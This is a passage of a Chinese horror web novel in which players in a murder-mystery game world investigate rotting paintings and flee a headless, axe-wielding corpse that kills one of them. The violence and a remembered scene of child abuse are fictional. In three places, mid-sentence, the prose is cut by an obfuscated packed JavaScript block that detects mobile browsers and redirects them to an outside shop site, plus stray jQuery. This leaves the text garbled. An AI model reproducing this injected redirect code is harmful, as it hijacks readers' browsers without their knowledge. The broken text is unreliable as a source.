《在无限剧本里咸鱼求生》 7. 无首(7) 空气里弥漫着比之前更加难闻的味道,李丛五官扭曲,顿时被恶心得干呕起来。 姜眠走了过去,两人擦肩而过时,李丛想拦他:“哎,你别,呕……” 姜眠如若未闻,绕过他走到冰箱面前。 冰箱门大开,但没有冷气冒出来,显然冷藏功能已经失效了。里面的肉大多已经腐烂,绿色红色的粘液顺着隔板往下淌,散发出刺鼻的臭味。 姜眠蹙眉,早前他查看的时候,这些肉明明还很新鲜。 目光转到那只剥皮牛头上,牛头颜色发黑,腐烂的眼珠从眼眶里掉落出来,“吧嗒”滚落到地上。 李丛赶巧看到这幕,脸颊抽搐了下,转过身:“呕……” 姜眠面不改色地把冰箱门关上,迈步就要往外走。 李丛赶紧跟上他,被熏得眼泪都快出来了,脸色发青:“你找到什么了?” 姜眠把那只玻璃药管递给他,“这个。” 李丛接过去,仔细端详了下:“果然有人下药,但看不出来是什么药,上面也没个标签。” 他胃里还翻江倒海,万分后悔之前不听劝告打开了冰箱门,可把他恶心得够呛。转而又想到,管家不会就是用这种肉给他们做饭的吧?顿时就更想吐了。 李丛深吸口气,强行压下反胃感,见姜眠全程一脸淡定,忍不住问:“你不觉得恶心吗?” 姜眠抬头看他,神态自然:“不觉得啊。” 李丛:“那……死人你不怕吗?” 姜眠看了他几秒,既没点头也没摇头。 那就是不怕。 李丛沉默了下,说:“6。” 姜眠垂眸,微微抿起嘴唇。 几道声音浮现在他脑海里,逐渐清晰—— “听说两口子都死了,在家里喝酒死的,死了一个多星期了。被发现的时候人都烂了臭了,蛆满地爬。” “造孽哦,留下这么小的孩子。” “那孩子跟两个尸体住了一星期,一点不晓得害怕,警察来的时候他还在给尸体盖被喂水呢!问他在干嘛,他说爸爸妈妈睡着了。” “哎哟!” “丧事是居委会帮着办的,小孩死了亲爹妈,不哭不闹的,一滴眼泪都没流,天煞孤星来的!” “晦气哦,以后避着点……” 姜眠眼睫微颤,把这些记忆抛到脑后。 两人出了厨房,来到餐厅,继续在餐厅里翻找。 姜眠被那幅画吸引了,径直走上前去。果篮里装满颜色鲜艳、一看就汁水饱满的水果,比他兜里那两块干巴面包不知好多少,离近了似乎能闻到清甜的水果味。 腹中饥饿,他不由自主地伸手,想摸摸那颗鲜艳欲滴的苹果,试图起到个望果止饿的作用。 指尖甫一触及,姜眠感受到的不是颜料的粗粝感,而是光滑圆润的,就像摸到了真的苹果。 他还没来得及惊讶,指腹下的苹果忽然滚动了下,紧接着从他触碰的位置开始腐烂,霉斑黑点迅速蔓延,转眼间整篮水果都腐烂了。 伴随着松动的声音,姜眠急忙退后,腐烂的水果竟从画框里滚了出来,噼里啪啦地掉落在地板上。 正掀桌布的李丛听到动静,立马抬起头来:“怎么了怎么了?!” 随即他看到了墙上的画框,果篮已经空了,地上堆满腐烂的水果,空气中一股水果特有的发酵酸味。 而姜眠睁大眼睛,满脸无辜。 李丛吃饭时也注意到了那幅画,就是一副很普通的装饰油画,画的是个大果篮,恰好搭配餐厅的环境。 但现在,竟然2D转3D了?! 而且像冰箱里的肉一样腐烂了。 两人对视一眼,忽然想到什么,拔腿就往三楼跑。 作为游戏宅脆皮大学生,一口气跑上三楼的李丛跑得气喘吁吁,弯下腰手撑着大腿,上气不接下气。但看姜眠面不改色心不跳的,他竟然被这么个瘦弱少年比下去了! 不蒸馒头争口气,他很快调整好呼吸,两人走进画室。 那幅画依旧立在那里,端庄的女人,覆盖着白色的蕾丝头纱。 李丛迫不及待地碰了下画,果然如他们想象的那样,女人光洁的手背皮肤出现了溃烂,随即腐烂迅速蔓延开来。她白色头纱上浸出暗红色痕迹,紧接着头歪到一旁,整个人眨眼间便枯萎了下去,只剩下一副被衣物包裹的斑驳骸骨。 他们亲眼见证了一个“人”腐烂的过程。 “这是什么意思?”李丛皱眉,“红颜白骨?” 姜眠伸手碰了碰,这画并不像餐厅里的那幅,依然还是平面的画。 但是…… 他蹙了蹙眉,指尖沾染了粘稠的东西,暗红色的,手指并拢搓了搓,质地带点颗粒的粗粝感,不太像颜料,而是半干的……血…… 李丛还是没明白这到底想表达什么意思,他本来还以为能看到画中人的脸呢,结果人都成骷髅架子了,头纱还牢牢地焊在头上。 “或者表面光鲜,实则腐烂?”李丛继续猜。 “也可能是……”姜眠眨了下眼,轻声说:“眼睛看到的,不一定是真实的。” “啧。”李丛抓了抓后脑勺,“最怕这种似是而非的线索了。” 他整理了下思路:“就拿我以前玩的那些解谜游戏来说,考虑到可玩性与代入感,通常情况下线索会被设置成两种,浅表型和深层型。” 姜眠认真地听:“嗯嗯。” 李丛却不直接说下去,而是问:“你知道什么是浅表型,什么是深层型吗?” 这是要跟自己互动,正打算躺平求带的姜眠不得不扑棱,试探性地答:“浅表型就是表面上的,深层型需要去挖掘?” “可以这么说。”李丛用那种孺子可教的眼神看着他,“浅表型顾名思义,就是放在明面上的线索,通常信息都是直给的,或者只需要稍加推理就能明白想表达什么。”比如之前那份报纸,上面就给出了一些齐雪的表层信息。 “而深层型线索一般藏得比较深,需要层层推理抽丝剥茧才能得到信息。” 姜眠露出个恍然大悟的表情:“那这个画就是深层型线索!” 还会举一反三了,看来小男仆也不笨,李丛欣慰了些。 “对!”李丛接着说,“所以接下来要找其他线索来论证我们的猜想了,不过我觉得重点不一定跟画有关,而是其他还没被发现、或者已经被我们忽略了的信息。” 姜眠立马用那种崇拜大佬的眼神看他:“你好厉害!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13026174|137373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他眼睛亮晶晶的,李丛被他看得不太好意思,谦虚道:“只是游戏玩多了,所以总结出来的一点经验。” 姜眠彩虹屁上线:“可还是很厉害,我就想不到那么多。” 李丛被夸得自信心爆棚:“你也可以的,等出去了我带你玩游戏,我很厉害的。” 姜眠点点头,很期待的样子:“好啊。” “你们在聊什么?”辛文浩的声音传来。 姜眠回头,看到辛文浩和于泓一前一后走来,辛文浩神情还算冷静,于泓则略显慌乱。 “在说这画。”李丛指了指画架,“你们看。” 辛文浩往画架上一看,眉峰一皱。 “怎么回事?” 李丛把他们去厨房找药,然后发现楼下的画变了,就想来看看三楼的画,结果就这样了的经历简短地阐述了一遍。 辛文浩颔首,若有所思地看着画,不知在想什么。 于泓心绪不宁地站在辛文浩侧后方,刚才有好几个人去了他的房间,找到了一些对他不利的线索…… 如果他们都投自己是凶手的话,他要怎么解释? 他没什么本事,考了个三流大学,浑浑噩噩地混了四年,走捷径勉强毕业之后,高不成低不就,一直没找到心仪的工作。 前段时间家里给他在亲戚的公司安排了个岗位,是个整理文档的闲职,没什么技术含量。加上办公室里的人都知道他是关系户,还挤掉了原本在这个岗位的老员工,于是明里暗里地排挤他。 那亲戚也不怎么待见他,只是碍于面子不好拒绝,不然也不会给他这么个尴尬的工作,还任由别人挤兑他。 他气不过就辞职了,离职前出于报复心理,他给公司的发财树浇了消毒水,还偷偷删掉了一份重要文件…… 而在来这之前,他天天待在出租屋里打游戏,每天都打到凌晨。 一切都没什么异常,他只是睡了个觉而已,睁开眼就到了这个陌生的空间,不仅要时刻担心人身安全,还有可能被投出去。 所以这是对他窝囊人生的惩罚吗? 他现在非常希望时间可以倒流,他一定好好工作,就算让他每天加班都绝无怨言。 想到有可能会被投出去,他更绝望了。剧本杀大学时也跟同学玩过,输了就输了,没什么影响,但在这里可就不一定了。 于泓心慌意乱,漂浮的视线不经意扫过画架,对上一张面目全非的脸。 此刻那张脸正对着他,头纱不知何时被掀起,腐烂的皮肉包裹着嶙峋的头骨,一只眼球勉强待在眼眶里,另一只却被挤了出来,连着神经与血管,颤巍巍地挂在脸颊上。 而剩下的那只眼睛,正死死地盯视着他。 于泓嘴巴张大,惊恐到好一会儿才发出声音:“你们看见了吗?!” 众人疑惑地看向他,“看见什么?” 于泓手指颤抖:“脸……” 李丛莫名其妙:“不是盖着的吗?” 闻言于泓恍惚了下,再看时,那画已恢复如常,头纱依旧盖得严严实实。 眼花了? 他舔了舔干燥起皮的嘴唇,心跳快得不正常。见其他人都在隐晦地打量自己,怕多说多错引人怀疑,便没有将看到的异象说出来。 8. 无首(8) 画研究不出什么名堂来,众人决定分开继续找线索。 姜眠和李丛一起来到了二楼。 “小男仆,你房间是哪个?” 姜眠循着记忆,指了指走廊尽头的那间:“那里。” “OK。”李丛不着痕迹地试探,“我们先去看看你房间?” 姜眠没意见,答应得很爽快:“好啊。” 话落他带头走了过去。 房门没锁,推开一看,是一间窄小的阁楼,半边屋顶倾斜,最矮的位置得低着头,窗户也不大。虽然简陋了些,但用来当做男仆的房间倒也合适。 房间装饰简单布局紧凑,只有一张单人床,一个小小的床头柜,靠墙的位置摆着衣柜和桌子。 一眼望去,床铺和桌面稍显凌乱,看来在他们之前,已经有人来查看过了。 那张床看着很软,姜眠三两步走到床边,跟到了家似的,麻溜地坐下。 柔软的床垫塌陷下去,弹性十足地托着他,床品的布料也非常舒服,姜眠仰面倒在床上,舒服地呼了口气。 啊,又饿又累。 要是可以一直躺着就好了。 李丛正在翻箱倒柜,余光见他已经躺下了,经过这一小段时间的相处,他对姜眠没那么防备了。就一挺单纯的小孩,顶多反射弧长点,脑回路长得和正常人不太一样。 他开了个玩笑:“就睡了?不怕被我找出杀人证据来?” 姜眠闭上眼睛,满不在乎地说:“那你就投我好了。” “真的?”李丛挑眉,故意逗他:“要真被投出去了,你可别哭鼻子啊。” 其实他心里也没谱,被投出去的人,结果会是什么? 哭? 姜眠睁眼,扭过头看去,认真道:“我不会哭的。” 李丛才不信,只当他是在逞强:“你小时候肯定哭过,只是你不记得了。”人都是哭着出生,又被人哭着送走的,即便再坚强的人,也总会有情难自抑的时候。 姜眠眨了眨眼,在他的记忆里,他看到过很多人哭,悲伤的、欣喜的……但他从来没哭过,也不知道哭到底是一种什么样的感觉。 他有点好奇。 见姜眠很困的样子,李丛不再和他闲聊,专注地搜寻线索。拉开抽屉,找到一份劳务合同,甲方是齐雪,而受聘的乙方则是姜眠,格式内容挺正规的。 他觉得稀奇,这种恐怖游戏世界里,居然比现实世界还守法,毕竟现实里雇个保姆也不一定有这种系统的劳务合同。 一目十行地看下去,按合同里写的,姜眠一个月前才来到这里,负责打扫卫生,以及帮助管家准备餐食,月薪1000。 乍一看不高,但李丛很快反应过来,第一份报纸上写的现在是2005年,1000元对于佣人来说,已经算是不错的水平了。而且看这房子的布置和规模,齐雪非常有钱,还很有品味,绝对的上流圈子人士。 抽屉里除了合同,只有一些不重要的杂物,李丛转战其他地方。 他走到衣柜面前,里面只有几套常服,最底下则是一个小皮箱。 皮箱上了锁,打不开。 “你知道钥匙在哪吗?”他回身问姜眠。 姜眠正犯困呢,闻言打了个哈欠,恋恋不舍地从床上爬起来,单膝跪在床边的地上,俯低身体,伸手往床板底下摸去。 尽管他是第一次来到这个房间,但或许是游戏机制影响,他对这个房间有种莫名的熟悉,大概知道里面都有些什么东西。 没多久,指腹碰到个冰凉的硬物,屈指一抠,就掉落到他掌心——是一把被胶布粘在床板下的钥匙。 他毫不犹豫地把钥匙递给李丛,“给你。” 李丛微怔,这么轻易就给了? 他会来姜眠的房间,是因为怀疑姜眠,但看他那么坦荡,要么他确实不是凶手,里面的线索不重要。 要么……就是他缺心眼。 李丛把钥匙插进锁孔,轻松地一拧,皮箱开了。 接连被打扰,姜眠也不睡了,在屋里转了转,目光停留在一扇侧门上。 他走过去,拉开门,是个卫生间。 卫生间很小,但马桶淋浴一应俱全,还有个窄小的洗手台。 姜眠掩上门,走到洗手台前,那里有一面镜子。 他手撑着洗手台,脸微侧向左,睁大眼睛凑到镜子前,几乎要贴到镜面上。 那只绿色的眼珠嵌在眼眶里,眼白布着红色的毛细血管,除了颜色以外,与深棕色的左眼并没有区别。 但是和其他人不一样。 姜眠慢慢站直身体,面无表情地与镜中的自己对视。 须臾,他像以前那样,扬起唇角,眼睛微眯——这是喜。 眉毛蹙起,嘴唇微撅——这是怒。 …… 这些表情他练习过很多遍了,早已熟记于心。 旋即他抬起手挡住左眼,右眼视野里一片黑白灰——是个没有颜色的世界。 总之,他不喜欢。 姜眠眉心微蹙,不自觉地屈指抠挖薄薄的眼皮,眼球在他指下颤动着,像一颗脆弱的小小心脏…… 他记得小时候的某一天,妈妈看了他很久,忽然蒙住他眼睛,然后伸手来抠挖他右眼。 姜眠当时愣愣地没动,任由母亲抠挖。 母亲指甲很尖,刺进皮肤时会有火辣辣的疼,他眼皮被挖出了血,血顺着脸颊流下来,温温的,染湿眼睫,眼前一片猩红。 他就这么不哭不闹地承受着,母亲像是反应过来自己在做什么,猛地顿住,然后又抱着他哭得撕心裂肺:“你哭啊!你为什么不会哭?” 姜眠不太懂为什么。 其实一只眼睛也没什么不好,比两只眼睛好聚焦,但姜眠不想当独眼龙,因为那看起来和其他人太不一样,而世人都不喜欢不一样的人。 “小男仆。” 李丛在外面叫他。 姜眠瞬间回神,“嗯?” 他若无其事地从卫生间出去,李丛手里举着一张照片,怼到他脸上:“这是谁?” 太近了,姜眠眨眨眼,往后退了一小步。 照片里是个美丽温婉的女人,穿着时髦修身的连衣裙,正对着镜头微笑。 脑海里浮现出一段记忆,女人温柔地摸着他的头,对他说:“宝贝,妈妈抱抱。” 当然,这段记忆是属于游戏里的“男仆姜眠”,在接触到相关线索时自动生成——他早就忘记自己的妈妈长什么样了,印象里母亲也从没对他说过这样亲昵的话。 “是妈妈。”姜眠说。 李丛:“啥?” 姜眠指了指自己:“妈妈,我的。” 李丛一下明白过来,这是剧情赋予姜眠的“妈妈”,不过这跟凶杀案有什么关系? 他仔细观察照片,感觉女人的身形有些眼熟,但又想不起来在哪见过。 皮箱底下还有个日记本,翻开来,第一页用不太规整的字体写着:我的妈妈,是世界上最好的妈妈…… 再往下翻,都是些不怎么有价值的碎碎念,提及最多的字眼是“妈妈”。 妈妈美丽温柔,妈妈照顾生病的我,偶尔也小有抱怨,比如妈妈去画展不带自己…… 妈妈,妈妈,妈妈,妈妈…… 姜眠也凑在旁边看,都快不认识“妈”字了。 哦,原来他是一枚24K纯妈宝。 翻到最后一页,只有一句话:妈妈不见了。 旁边还画了个可怜兮兮的哭脸。 李丛挑起一边眉毛,游戏打多了,顺嘴就是句祖安语录:“你妈没了。” 姜眠直觉这不像好话,但无论是现实里还是在这里,他妈妈确实没了,于是点点头。 他总是一副温和无害的模样,李丛暗里琢磨,看他衣柜里的衣服,并不像穷苦家庭的孩子,所以为什么来这里当男仆? 结合日记里的内容,脑中白光闪过,该不会是来找妈妈的吧? 小男仆找妈妈? 可他妈又跟齐雪有什么关系? 咚咚—— 门被敲了两下,打断了他的思路。 焦雨晴站在门外,“你们找得怎么样了?” 李丛:“还行。” 焦雨晴往走廊那头偏了偏头,示意他们跟上:“那大家先聚一起,根据手上的线索推理一波。” “好。” 众人聚到了一个比较宽敞的房间,焦雨晴环视了一圈,目光着重在于泓身上停留片刻。 她抿了抿唇,“我先来吧。” “先说一下我的怀疑对象,于泓。”焦雨晴语气不紧不慢,“会怀疑他,是因为之前大家聊时间线的时候,他表情不太对。” 这一点众人有目共睹,因此并没有异议。 “所以我和小影首先去了于泓的房间,找到了一些东西。”焦雨晴拿出一叠书画购买凭证。进入这个空间后,或许是规则限制,他们的手机都没了,也没有其他能记录的东西,便只能把证据带在身上。 “于泓是个狂热的书画收藏家,近些年来疯狂地收购了很多画作,其中大部分是齐雪的画,可以说齐雪是他的‘真爱’。”焦雨晴顿了顿,又拿出一些借债单:“但他财务状况并不足以支撑他的爱好,这就导致他出现了债务危机。” 李丛灵光乍现:“所以有没有一种可能,他把自己的失败归咎于齐雪,认为是齐雪导致他破产,所以心生怨恨……” “不排除,但是……”焦雨晴看了眼赵影,赵影把手上的东西递给她,是一叠信封。 “近半年于泓频繁和一个署名为‘X’的人通信,‘X’告诉他,齐雪正在创作一幅前所未有的画,并且打算画完这幅画,就退圈封笔。” “X是谁?” 于泓:“我不知道!他没透露过真名,我们也没见过面。” 焦雨晴若有所思:“还有一封信里,他们提到如果齐雪死了,那么那幅画就会成为“天才绝作”,并且齐雪的画将会大幅度升值,毕竟死人的画更值钱。” 她话音一落,所有人都为之脊背发寒。 为了让画升值,就可以轻易地杀掉一个人吗? “X?”李丛琢磨着,“x-i-n——辛?”说着他看向辛文浩。 众人的视线在辛文浩和于泓之间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13026175|137373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打转,于泓脸色苍白、表情慌乱:“不是我!” “我、我我……我是有过这种想法。”他急得语无伦次,“但我没有杀她呀!” 辛文浩则比他冷静得多,缓缓地抬了抬眼皮,有条不紊道:“我不会蠢到用自己的姓氏,那太明显了。何况X既然能是‘辛'',那也可能是‘雪’。” “而且……”他顿了顿,“‘X’在数学里通常用来作为未知数,怎么不算一种通用匿名代号?” 他的解释倒也说得过去,但并没有完全打消大家对他的怀疑。 辛文浩也不再解释什么,不紧不慢地从西裤里掏出一团揉皱的碎纸片:“我在于泓房间的床底下,找到了一张撕碎的纸,是一份药物说明书。根据描述,这种药叫‘睡得快’,白色的液体,可溶于水没有异味,服用后半小时内就能睡着。” 李丛也赶紧拿出玻璃药瓶,“药瓶在这,厨房里找到的。” “小男仆也说看到过疑似于泓的人偷偷进过厨房,对吧。”他用手肘捣了下姜眠。 正在偷懒发呆的姜眠突然被cue,慢半拍地点了点头。 目前所有线索都指向于泓,他瞬间成了众矢之的。 “真的不是我!”于泓直冒冷汗,在众人的逼视下,他急忙解释:“我确实趁人不注意,进厨房把药下进了汤里,但我是为了偷画,而不是杀人!” “昨晚在大家都回房后,我本来想去画室看看,但出门后不久,不知怎么回事,我脑袋后面一痛,就晕过去了,醒来就在自己房间。” 焦雨晴很快抓住重点:“你的意思是,有人打晕了你?” “我不知道,反正我就是晕了!“于泓一口咬定,“而且我要真想杀她,直接下毒药不是更快吗?” 他这样颇有破罐破摔的架势,但其实也有一定的道理,只是操作难度有点大。 首先,可能会把所有人无差别毒死。 其次,就算精准下到了齐雪碗里,万一众目睽睽下毒发,那不就乱套了吗? 要是他说的是真的,问题就复杂了。有人黄雀在后,打晕于泓,杀掉齐雪,然后再祸水东引? 可这操作难度比精准下毒还大,要先预判于泓会下药,等其他人都睡着后,再预判于泓的路线,悄么声地尾随把人打晕。接着去杀人斩首,无痕处理了头颅,还有了于泓这么个替罪羊——这不光是时间管理大师,简直完美犯罪啊! “我们都忽略了一个重要的问题,齐雪的真正死因。”辛文浩说,“我们只看到了无头的尸体,但万一是先被毒死,再砍下她的头,以此来混淆视听呢?” 这就不得不去查看尸体了。 大家都是一副万分不愿的痛苦表情,毕竟那可是一具真的尸体。 “大家一起去吧。”辛文浩带头,“迟早要看的。” 一行人慢吞吞地往三楼走,姜眠困得一直打哈欠,泪眼汪汪。 李丛注意到了:“你很困吗?” 姜眠“嗯”了声,怕李丛被他吓到,于是决定先给他打个预防针。 “那个……”姜眠压低声音,“我有时候会突然睡着。” 李丛没明白:“啊?” 姜眠给了个肯定的眼神:“嗯。” 李丛:“怎么个突然睡着法?” 姜眠也不知道要怎么给他解释,遂道:“到时候你就知道了。” 李丛将信将疑,不知不觉就来到了三楼。 他们小心地穿过走廊,进入客厅,来到卧室门口。 辛文浩安抚大家:“放松,没事。” 他咽了口唾沫,手搭在门上,硬着头皮推开卧室门,视线移到那张血淋淋的双人床上,无头尸体静静躺在那里,等着他们为她解开谜团。 众人神经紧绷地依次进入卧室,胆小的宋佳妮紧紧地抓住男友,连眼睛也不敢睁开。 卧室很宽敞,摆放着许多昂贵的实木家具,床周围铺着厚厚的长绒地毯,干涸的血凝结在上面,不流通的空气里有股难闻的腥臭味。 出于对死人的避讳,一时间谁都没靠近那张床,而是分散在各处,打算先找其他线索。 “你觉得现在关键是什么?”李丛问姜眠。 姜眠看他一眼:“头?” “Bingo!”李丛打了个响指,“比谁先找到?” 没办法,小男仆看起来积极性不太高,李丛不希望他拖自己后腿。 姜眠顿了顿,“好吧。” 既然要找头,那肯定案发现场的概率会更大,尤其是床周围。 李丛直播时,玩过不少恐怖游戏,胆子稍微大一点。 我不入地狱谁入地狱,他深呼吸,给自己打气。眯着眼睛靠近,粗略地看了眼床上尸体。 啧啧,太残忍了,多大仇啊! 他屈膝跪在床边,想找找床底下,谁知这时有钟声隐隐传来,头顶的灯忽然“滋滋”闪了闪。 好在并没有熄灭。 但也足以令众人本就紧绷的神经更加脆弱。 “没事,接触不良而已。” 李丛掀开床单,往床底下看去,没留神床上的尸体在他低头时,手指动了动。 9. 无首(9) 本来都做好了和死人头面对面的心理准备,但俯身看去,床底下空空如也。 李丛松了口气,竟然还有些莫名其妙的遗憾。他撑着身体打算起来,随即眼尖地发现,并不是空无一物。 床底下光线暗,但隐约看到有个长条形的物体,他伸手够了够,手心触到稍显粗糙的柱形硬物,凭感觉像是什么东西的手柄,还有点儿沉。 他拖出来一看,赫然是一柄血迹斑斑的斧头。木制的斧柄很长,斧身比一般斧头宽大,刃口锋利,给人一种削铁如泥的感觉,足以轻松地把人脑袋砍下来。 这一定就是凶器了! 李丛心里大喜,打算拿起来细看,一只手比他更快地握住了斧柄。 “谢谢,我自己……”来…… 后半句话卡在了嗓子眼里,李丛瞪着那只青白色的手,屏住呼吸,视线顺着那只手往上,僵硬地抬起头来。 然后他就看到了这辈子最难忘的画面—— 原本应该躺在床上的尸体,不知何时爬了起来,她身上的白色睡裙被血染红了大半,本该随着时间干涸,却随着她动作,仍旧不断有血滴落在下来。 失去头颅使她不太能保持平衡,僵硬的肢体微微摇晃,露在外面的皮肤呈现出失血过度的青白色,肩膀以上空空如也,只剩下一小截断裂的颈项…… 诈尸了! 李丛头皮一炸,身体惯性地往后仰倒,一屁墩坐在地上,手脚并用连滚带爬地退了好几步。 “草!” 其他人被动静惊扰,纷纷转过脸来,看到这诡异的一幕,骇得僵立在原地。 尸体拖着那柄沉重的利斧,蹒跚着走向离她最近李丛,金属斧头刮擦着木质地板,发出令人不适的刺耳声音。 呲……呲啦…… 李丛腿软得爬不起来,艰难地在地上蛄蛹了几下,眼见她很快来到近前,他惊惧得连声音都发不出来,心想吾命休矣! 电光石火间,李丛脖子一紧,不知谁拎住了他命运的后脖颈。紧接着一股大力袭来,拖着他迅速往后退,险险避开落下来的利斧。 那斧头就落在他腿间,只差那么0.01秒,就免费给他做了场变性手术,彻底绝了他的子孙根。 李丛吱哇乱叫,刺激得眼泪都快飚出来了。 画家一击未中,眼见猎物远离,转而去攻击其他人。 后背靠到了实处,李丛呆坐两秒,回头看救了他的人。 房间里尖叫声此起彼伏,少年微蹙着眉,正若有所思地看着此时的乱局,不知在想什么。 李丛劫后余生,一把抱住他大腿,几乎涕泗横流:“哥!从今以后你就是我亲哥!” 姜眠低头看他,语气关切:“你还好吗?” 李丛放开他,摸了摸裆部,命根子虽然完好无损,但斧刃还是擦到裤.裆,直接从中间割开了一条大口子。 他臊眉耷眼地望着自己的开裆裤,和内裤上的卡通小黄鸡大眼瞪小眼 “不太好。”他苦中作乐,“涉黄了,封直播间那种。” 姜眠好奇地打量着那只小黄鸡,那眼神认真得像在研究巨著,末了真诚地称赞:“很可爱。” 李丛:“……” 他伸手捂住了裆部,羞耻道:“我真的谢……” 两人刚说完话,就听于泓惨叫了声。 画家速度太快,加之众人惊恐之下的推挤,落在最后的于泓来不及避开,下意识抬手去挡,但肉体凡胎又怎么抵得过锋利的斧头。 他的手先是从指根整齐断开,接着斧头去势不减,砍在他颈间。 这一切动作似乎变得很慢,慢到他放大的瞳孔里清晰地映出那要命的轨迹,以及其他人恐惧至极的表情。 但其实只是短短一瞬,他甚至没来得及感受到疼痛,就感觉脖子一凉,紧接着便是一阵温热——那是从他破裂的动脉喷涌而出的热血。 于泓倒在了地上,五官扭曲,仍带着死亡那瞬的恐惧。 他脖子几乎被完全砍断,只剩下一层皮肉相连,身体抽搐了几秒,地毯上洇出一大片暗红色血痕。 这死相太过惊悚惨烈,一时间四处响起愈发恐惧尖利的叫声。 “啊!” “啊啊啊……救命!” 目睹全程的李丛心胆俱裂:“shit!”刚才要是没避开,那么现在他已经被开膛破肚了。 再待下去就该轮到到他们了,他挣扎着从地上爬起来,拉着姜眠,埋头就往卧室外冲。 被吓破胆的众人跌跌撞撞地撞开房门,涌到走廊上,想要离开三楼这个是非之地。可原本并不算长的走廊,此刻却怎么也跑不到尽头。 李丛跑的时候感觉屁股大腿凉飕飕的,跟光着腚也没啥区别了,但现在也没心情关注这些。 等他跑出好远,才发现手心空了,姜眠没跟上来。 回头一看,姜眠情况不太对,双目无神表情迷离,而那画家就快要追上他。 “姜眠!”李丛急得大喊,“跑啊!” 姜眠如若未闻,呆站着一点反应都没有。 眼见画家到了他身后,李丛心提到了嗓子眼,正要再喊,就见他眼睛一闭,“咚”一声倒在了地上,表情很安详。 李丛:“?” 正在逃命的其他人:“???” 这送上门的KPI,就连NPC都顿了顿,身体微偏,像是在思考。 李丛反应过来,这就是姜眠说的“有时候会突然睡着”吗?可早不睡晚不睡,偏偏这个时候,这不送人头吗? 刚才姜眠救过他,按理说他也应该帮忙,可现在这种情况,换做大罗神仙也没辙呀! 画家对准姜眠的脖子,高高举起了斧头。 李丛不忍心看,正想转开脸,可下一瞬,异变再生。 姜眠以一种诡异的姿态,眨眼间就立了起来,抬手精准地抓住画家纤细的手腕,看似没怎么用力地一折,全程不过几秒。 “咔嚓”一声,画家右手凸出个诡异的折角——那是断裂的腕骨穿透肌肉,从皮肤里钻了出来。 “!” 李丛眼皮一跳,不由自主地张大嘴巴。 “咔嚓”又一声,这次是左手。 斧头“当啷”掉在地上,她两条手臂绵软地挂在肩膀两边,无法保持平衡,身体软绵绵地往旁边歪倒。 李丛不敢相信自己的眼睛,刚才发生了什么?! 眼见着姜眠梦游般向自己走来,他不由自主地退后了一步。仔细一看,竟发现姜眠眸子半阖,低垂着眼睫,密长的睫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13026176|137373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毛在脸颊映出扇形阴影,赫然是一副半梦半醒的模样。 这是怎么了? 他好歹也是个一米八几的男大,比姜眠还高那么一点,也比他壮得多,但姜眠居然能拖得动他?还有他莫名其妙关机,闭着眼睛“咔咔”两下就把NPC胳膊撅折了,比掰苞米还轻松,这是人类能做到的?!!! 太多的谜团缭绕在他心里,李丛大气不敢出,更不敢问,怕惊扰了他。据说梦游的人会做出很多不可思议的事,并且不能中途叫醒,否则会导致他精神错乱。 那么地上那位呢? 李丛心惊胆战地看过去,无头的尸体无声无息地躺在地上,就这么歇菜了? 刚这么一想,就见画家身体抽搐了几下,青白的手支撑着地面,伽椰子附体般“咔咔”几声,颤抖着、僵硬地站了起来…… 画面实在诡异,李丛一句“卧槽”呼之欲出,就被一只冰凉的手捂住了嘴。 两人靠得很近,姜眠半张脸隐在阴影里,眼睫仍旧低垂,看不到眼神。 李丛:“……?” 看到画家用那打折的手臂拖着斧头,摇晃着向他们走来,他急了:“唔唔唔!” 姜眠不太耐烦地皱了下眉,捂在李丛嘴上的手往下,像抓大鹅般卡住他脖颈一掐,手动闭麦。 李丛被掐得睁大眼睛,呼吸变得困难,但心脏在胸腔里愈发疯狂地跳动。 砰砰——砰砰—— 姜眠启唇,冷冷道:“吵。” 吵? 嫌他们吵? 还是其他的什么? 窒息感袭来,脑子反而更加清醒。 李丛反应过来,之前上三楼,管家说主人休息时不喜欢被打扰,让他们不要发出声音,否则主人会生气。 惹她生气的结果,就是像于泓那样,被她砍瓜切菜似的削断脑袋! 李丛赶紧眨巴眼,做了个给嘴拉拉链的动作,表示他绝对会安静如鸡。 同时也挥舞着手向其他人示意—— 不!要!出!声! 其他人明白了他的意思,闭上嘴巴,连呼吸声音都尽量放轻。 空气沉寂下来,姜眠松开钳制,垂着眸子梦游般退到旁边。 李丛心有余悸地摸摸脖子,后知后觉那只手很凉,正常人应该不会有那么低的体温…… 寂静无声里,画家脚步一顿,她仿佛迷失了方向,停在了离他们不远的地方。 “她”似乎有些疑惑,身体微微偏转,如果“她”有头的话,那应该是在转动脑袋寻找着什么。 